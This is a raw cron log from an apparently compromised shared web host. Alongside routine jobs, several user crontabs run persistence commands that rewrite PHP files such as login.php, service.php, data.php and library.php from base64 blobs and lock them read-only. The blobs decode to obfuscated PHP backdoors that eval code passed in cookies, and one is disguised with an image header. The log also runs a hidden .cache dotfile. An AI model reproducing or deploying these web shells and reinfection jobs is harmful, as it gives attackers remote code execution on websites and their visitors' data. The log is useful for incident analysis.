"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:02:01 medusa CROND[26965]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:02:01 medusa CROND[26963]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:02:01 medusa CROND[26967]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:03:01 medusa CROND[28598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:03:01 medusa CROND[28612]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:03:01 medusa CROND[28613]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 14:03:01 medusa CROND[28614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:03:01 medusa CROND[28616]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:03:01 medusa CROND[28617]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:03:01 medusa CROND[28619]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:03:01 medusa CROND[28621]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:03:01 medusa CROND[28622]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:03:01 medusa CROND[28623]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:03:01 medusa CROND[28626]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:03:01 medusa CROND[28627]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:04:02 medusa CROND[30265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:04:02 medusa CROND[30266]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:04:02 medusa CROND[30267]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:04:02 medusa CROND[30268]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:04:02 medusa CROND[30270]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:04:02 medusa CROND[30271]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:04:02 medusa CROND[30272]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:04:02 medusa CROND[30273]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:04:02 medusa CROND[30274]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 14:04:02 medusa CROND[30275]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:04:02 medusa CROND[30277]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:04:02 medusa CROND[30278]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:04:02 medusa CROND[30282]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JH